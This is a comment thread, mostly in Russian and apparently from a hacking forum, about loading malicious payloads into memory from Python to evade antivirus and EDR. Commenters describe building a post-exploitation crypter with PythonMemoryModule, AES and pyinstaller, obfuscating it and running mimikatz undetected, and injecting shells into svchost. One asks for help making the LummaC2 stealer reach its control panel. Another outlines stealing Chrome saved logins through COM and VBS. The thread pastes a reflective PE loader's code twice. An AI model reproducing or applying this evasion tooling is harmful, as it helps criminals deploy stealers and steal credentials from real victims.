Greate article, thumbs up. Have you tested any injection method with this kind of chain ?
like migrate into explorer.exe? better to do everything from python threadGreate article, thumbs up. Have you tested any injection method with this kind of chain ?
I tested inject my shell into svchost from python memory. But it depends on your payload and edrGreate article, thumbs up. Have you tested any injection method with this kind of chain ?
При небольшом допиливании напильником, удалось получить вполне жизненспособный криптор для постэксплуатации. Вместо Pyramid использовать напрямую PythonMemoryModule, зашифровать свою полезную нагрузку AES и упаковать все pyinstaller, чтобы запускать одним exe файлом.А вот это вот всё имеет какое-то применение в масштабах больших чем "я затестил на виртуалке"? В итоге получим очередной powershell с amsi?
На Pyinstaller ебашат детект если что, на нуитку тожеПри небольшом допиливании напильником, удалось получить вполне жизненспособный криптор для постэксплуатации. Вместо Pyramid использовать напрямую PythonMemoryModule, зашифровать свою полезную нагрузку AES и упаковать все pyinstaller, чтобы запускать одним exe файлом.
Даже без обфускации и дополнительних техник, такое решение обходит все AV/EDR кроме CrowdStrike, AVG и Avast
Статик детекты не сложно обойти с помощью обфускации pyarmor, особенно если предварительно скомпилить модули через cython. На счет рантайма не знаю, но могу сказать, что exe запускающий c мимкатз, вызвал только 3 детекта на virustotal. Исходя из этого можно сказать, что абсолютное большинство AV не детектят рантайм питонаНа Pyinstaller ебашат детект если что, на нуитку тоже
В чем то вы правы, но также не стоит забывать об последовательности вызовов функцийПодход с интерпретируемым кодом далеко не нов, как и использование экзотических компиляторов/линкеров. Боюсь, что это не убережет в нынешних реалиях от того что любой исполняемый код, хоть нативный, хоть интерпретируемый сводится к вызову одних и тех же API->NativeAPI->Syscall, а так как EDR давно уже орудуют во всю в ядре (например ставят callback'и в ring0 подпрограммах, используют фильтр-драйверы раннего обнаружения и т.д.) и перехватывают нативные функции в ring3, то такой подход может уберечь только от статики, и эвристики.
В том то и дело что в интерпретируемых языках не как в неуправляемом коде. В Си, к примеру, можно вызовы сделать динамично рандомными (хоть морфить, тут варианты ограничиваются только полетом фантазии кодера) и мы будем знать все наверняка. В интерпретаторах все статично а потом уходит к вызовам одних и тех же API.В чем то вы правы, но также не стоит забывать об последовательности вызовов функций
VirtualAlloc -> VirtualProtect -> memcpy -> call\jmp -> DETECT
При использовании того же самого питона стек вызовов будет размазан
VirtualAlloc -> VirtualAlloc -> HeapAlloc -> StrLenA -> ченить еще
И это может уберечь от рантайм детекта в каком то роде
Верно подмеченоДа, возможно, но до поры - до времени.
Все должно работать, мы еще год назад использовали этот метод только с JS для распространения.Решил данный метод использовать для создания своего лоадера и уже на конечном этапе столкнулся с проблемой -
всё работает исправно и файл запускается в памяти, но я использую LummaС2 вместо CobaltStrike, как в итоге отстука нет в панель.
Возможно это происходит потому что у .exe люммы exit function != thread.
Может мне кто нибудь в деталях объяснить в чём моя ошибка и как конвертировать файл что бы он работал корректно, мои знания довольно ограничены, я скорей пользователь чем администратор или разработчик =(
Откуда убеждение, что в интерпретируемом языке нельзя сделать динамично-рандомные вызовы как на Си? Вот например, что под капотом вызывается в библиотекеВ том то и дело что в интерпретируемых языках не как в неуправляемом коде. В Си, к примеру, можно вызовы сделать динамично рандомными (хоть морфить, тут варианты ограничиваются только полетом фантазии кодера) и мы будем знать все наверняка. В интерпретаторах все статично а потом уходит к вызовам одних и тех же API.
Статика и эвристика для интерпретаторов и "редкоземельных" компиляторов/линкеров - Да, возможно, но до поры - до времени.
pythonmemorymodule через которую в память подгружается полезная нагрузка у автора статьи. Ничего не мешает доработать этот метод и добавить рандомные winapi функции. def load_module(self):
if self.new_command != None and len(self.new_command) != 0:
passed_args=True
self.cmdline_check()
else:
passed_args=False
if not self.is_exe() and not self.is_dll():
raise WindowsError('The specified module does not appear to be an exe nor a dll.')
if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64:
raise WindowsError('The exe you attempted to load appears to be an 32-bit exe, but you are using a 64-bit version of Python.')
elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64:
raise WindowsError('The exe you attempted to load appears to be an 64-bit exe, but you are using a 32-bit version of Python.')
self._codebaseaddr = VirtualAlloc(
self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000)
self.OPTIONAL_HEADER.SizeOfImage,
MEM_RESERVE,
PAGE_READWRITE
)
if not bool(self._codebaseaddr):
self._codebaseaddr = VirtualAlloc(
NULL,
self.OPTIONAL_HEADER.SizeOfImage,
MEM_RESERVE,
PAGE_READWRITE
)
if not bool(self._codebaseaddr):
raise WindowsError('Cannot reserve memory')
codebase = self._codebaseaddr
self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase)
self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE)
self.pythonmemorymodule.contents.codeBase = codebase
self.pythonmemorymodule.contents.numModules = 0
self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE)
self.pythonmemorymodule.contents.initialized = 0
# Committing memory.
VirtualAlloc(
codebase,
self.OPTIONAL_HEADER.SizeOfImage,
MEM_COMMIT,
PAGE_READWRITE
)
self._headersaddr = VirtualAlloc(
codebase,
self.OPTIONAL_HEADER.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE
)
if not bool(self._headersaddr):
raise WindowsError('Could not commit memory for PE Headers!')
szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders
tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders])
if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders):
raise RuntimeError('memmove failed')
del tmpheaders
self._headersaddr += self.DOS_HEADER.e_lfanew
self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS)
self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr)
self.dbg('Copying sections to reserved memory block.')
self.copy_sections()
self.dbg('Checking for base relocations.')
locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase
if locationDelta != 0:
self.dbg('Detected relocations - Performing base relocations..')
self.perform_base_relocations(locationDelta)
self.dbg('Building import table.')
self.build_import_table()
self.dbg('Finalizing sections.')
self.finalize_sections()
self.dbg('Executing TLS.')
self.ExecuteTLS()
if passed_args:
self.dbg('Stomping PEB')
self.stomp_PEB()
self.dbg('Starting new thread to execute PE')
my_thread = threading.Thread(target=self.execPE)
my_thread.start()
if passed_args:
self.unstomp_PEB()
Как вариант, не знаю точно как работает питон под капотом, но скорее всего в процессе интерпретирования кода и его выполнения - и вызываются фукнцииОткуда убеждение, что в интерпретируемом языке нельзя сделать динамично-рандомные вызовы как на Си? Вот например, что под капотом вызывается в библиотекеpythonmemorymoduleчерез которую в память подгружается полезная нагрузка у автора статьи. Ничего не мешает доработать этот метод и добавить рандомные winapi функции.
Python:def load_module(self): if self.new_command != None and len(self.new_command) != 0: passed_args=True self.cmdline_check() else: passed_args=False if not self.is_exe() and not self.is_dll(): raise WindowsError('The specified module does not appear to be an exe nor a dll.') if self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE and isx64: raise WindowsError('The exe you attempted to load appears to be an 32-bit exe, but you are using a 64-bit version of Python.') elif self.PE_TYPE == pe.OPTIONAL_HEADER_MAGIC_PE_PLUS and not isx64: raise WindowsError('The exe you attempted to load appears to be an 64-bit exe, but you are using a 32-bit version of Python.') self._codebaseaddr = VirtualAlloc( self.OPTIONAL_HEADER.ImageBase, # To test relocations, add some values here i.e. +int(0x030000000) self.OPTIONAL_HEADER.SizeOfImage, MEM_RESERVE, PAGE_READWRITE ) if not bool(self._codebaseaddr): self._codebaseaddr = VirtualAlloc( NULL, self.OPTIONAL_HEADER.SizeOfImage, MEM_RESERVE, PAGE_READWRITE ) if not bool(self._codebaseaddr): raise WindowsError('Cannot reserve memory') codebase = self._codebaseaddr self.dbg('Reserved %d bytes for dll at address: 0x%x', self.OPTIONAL_HEADER.SizeOfImage, codebase) self.pythonmemorymodule = cast(HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE)), PMEMORYMODULE) self.pythonmemorymodule.contents.codeBase = codebase self.pythonmemorymodule.contents.numModules = 0 self.pythonmemorymodule.contents.modules = cast(NULL, PHMODULE) self.pythonmemorymodule.contents.initialized = 0 # Committing memory. VirtualAlloc( codebase, self.OPTIONAL_HEADER.SizeOfImage, MEM_COMMIT, PAGE_READWRITE ) self._headersaddr = VirtualAlloc( codebase, self.OPTIONAL_HEADER.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE ) if not bool(self._headersaddr): raise WindowsError('Could not commit memory for PE Headers!') szheaders = self.DOS_HEADER.e_lfanew + self.OPTIONAL_HEADER.SizeOfHeaders tmpheaders = create_unsigned_buffer(szheaders, self.__data__[:szheaders]) if not memmove(self._headersaddr, cast(tmpheaders, c_void_p), szheaders): raise RuntimeError('memmove failed') del tmpheaders self._headersaddr += self.DOS_HEADER.e_lfanew self.pythonmemorymodule.contents.headers = cast(self._headersaddr, PIMAGE_NT_HEADERS) self.pythonmemorymodule.contents.headers.contents.OptionalHeader.ImageBase = POINTER_TYPE(self._codebaseaddr) self.dbg('Copying sections to reserved memory block.') self.copy_sections() self.dbg('Checking for base relocations.') locationDelta = codebase - self.OPTIONAL_HEADER.ImageBase if locationDelta != 0: self.dbg('Detected relocations - Performing base relocations..') self.perform_base_relocations(locationDelta) self.dbg('Building import table.') self.build_import_table() self.dbg('Finalizing sections.') self.finalize_sections() self.dbg('Executing TLS.') self.ExecuteTLS() if passed_args: self.dbg('Stomping PEB') self.stomp_PEB() self.dbg('Starting new thread to execute PE') my_thread = threading.Thread(target=self.execPE) my_thread.start() if passed_args: self.unstomp_PEB()
Можно дергать COM объекты для взаимодействия. Например тебе надо прочитать Login Data хромовский. На вызов апи как ты уже сказал в ядре хукнет и посмотрит аргументы, но можно использовать сам же хром, чтоб он скачал этот файл в загрузки и спокойно стилнуть. Пока аверы не очень-то хорошо работают над постронием логической цепочки вызовов из под разных систем. Ниче не мешает дернуть vbs, сделать определенное вычисление и передать как аргумент нужной тебе функции. Запуск хрома, чтение с помощью повершелл, удаление файла через вбс и отправка COM IE.хоть интерпретируемый сводится к вызову одних и тех же API->NativeAPI->Syscall, а так как EDR давно уже орудуют во всю в ядре (например ставят callback'и в ring0 подпрограммах, используют фильтр-драйверы раннего обнаружения и т.д.) и перехватывают нативные функции в ring3, то такой подход может уберечь только от статики, и эвристики.